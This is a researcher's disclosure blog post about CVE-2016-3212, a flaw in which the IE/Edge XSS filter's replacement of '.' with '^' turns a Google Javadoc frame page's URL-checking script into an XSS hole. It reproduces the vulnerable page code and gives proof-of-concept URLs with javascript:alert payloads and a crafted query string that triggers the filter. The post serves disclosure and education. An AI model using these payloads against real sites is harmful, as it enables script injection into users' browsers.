Abusing XSS Filter: One ^ leads to XSS(CVE-2016-3212)

Datetime:2016-08-22 21:56:30          Topic: XSS Vulnerability           Share

In the past, I talked about XSS attacks exploiting IE XSS filter in CODE BLUE, which is an information security conference in Japan. A similar bug is fixed in June patch as CVE-2016-3212.

So, in this post, I would like to explain details of this bug.

As described in my slides , applying the XSS filter rules to an irrelevant context, we can do XSS attacks using the filter behavior replacing the  . with the  # even if the page does not have an XSS bug.

To prevent such attacks, Microsoft changed the filter behavior by December 2015 patch. After this patch, the ^ is used as the replacement character of the . instead of the # . Indeed, this can prevent attacks above. But it brought another nightmare. After several months, I confirmed an XSS using this behavior in Google's domain, and I got $3133.7 as rewards through Google VRP .

Google sets X-XSS-Protection: 1;mode=block header in almost their services. But not all. So, I checked carefully some pages which have no mode=block . As a result, I discovered that the vulnerable page exists in Javadoc on cloud.google.com.

I put the approximate copy:

http://vulnerabledoma.in/xxn/xss_javadoc.html

This page becomes vulnerable to XSS when one . is replaced with the ^ by the XSS filter.

Can you find where it is?

The answer is the . of the yellow part:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">

<!-- NewPage -->

<html lang="en">

<head>

<title>javadoc</title>

<script type="text/javascript">

targetPage = "" + window.location.search;

if (targetPage != "" && targetPage != "undefined")

targetPage = targetPage.substring(1);

if ( targetPage.indexOf (":") != -1 || (targetPage != "" && !validURL(targetPage)))

targetPage = "undefined";

function validURL(url) {

try {

url = decodeURIComponent(url);

}

catch (error) {

return false;

}

var pos = url.indexOf(".html");

if (pos == -1 || pos != url.length - 5)

return false;

var allowNumber = false;

var allowSep = false;

var seenDot = false;

for (var i = 0; i < url.length - 5; i++) {

var ch = url.charAt(i);

if ('a' <= ch && ch <= 'z' ||

'A' <= ch && ch <= 'Z' ||

ch == '$' ||

ch == '_' ||

ch.charCodeAt(0) > 127) {

allowNumber = true;

allowSep = true;

} else if ('0' <= ch && ch <= '9'

|| ch == '-') {

if (!allowNumber)

return false;

} else if (ch == '/' || ch == '.') {

if (!allowSep)

return false;

allowNumber = false;

allowSep = false;

if (ch == '.')

seenDot = true;

if (ch == '/' && seenDot)

return false;

} else {

return false;

}

}

return true;

}

function loadFrames() {

if (targetPage != "" && targetPage != "undefined")

top.classFrame.location = top.targetPage;

}

</script>

</head>

<frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()">

<frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()">

<frame src="/" name="packageListFrame" title="All Packages">

<frame src="/" name="packageFrame" title="All classes and interfaces (except non-static nested types)">

</frameset>

<frame src="/" name="classFrame" title="Package, class and interface descriptions" scrolling="yes">

<noframes>

<noscript>

<div>JavaScript is disabled on your browser.</div>

</noscript>

<h2>Frame Alert</h2>

<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p>

</noframes>

</frameset>

</html>

In the <script> , it checks whether the given string via location.search is safe.

For example, the following unsafe URL is blocked:

http://vulnerabledoma.in/xxn/xss_javadoc.html? javascript:alert(1)

Then, what will happen when the  . of the yellow part is replaced with the  ^ ?

Let's actually try it. If you put the following strings in the target URL, the page content is forcibly matched to XSS filter rules, and we can replace the aimed . with the ^ :

You can reproduce this bug from the following URL using IE/Edge which does not have June 2016 patch:

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)// "++++++++++++.i+++=

Also I put the replaced page for you who already applied the patch. You can confirm same behavior:

http://vulnerabledoma.in/xxn/xss_javadoc2.html?javascript:alert(document.domain)

A crucial difference from # and ^ , the # is not the operator in JavaScript, but the ^ is the operator. For example, if the a.b; is in the page and it is replaced with # and ^ , a#b; is the syntax error but a^b; is valid syntax. It brings an XSS bug.

After June 2016 patch, when the XSS filter replaces the . , the mode=block behavior is enforced even if the page does not have X-XSS-Protection header.

I was surprised and disgusted when the ^ is displayed but anyway it has finally calmed down!

Also, in the recent patch(July 2016), it seems that Microsoft killed almost possibilities of XSS attacks exploiting XSS filter. I will write this details in next post :)

Thanks!





About List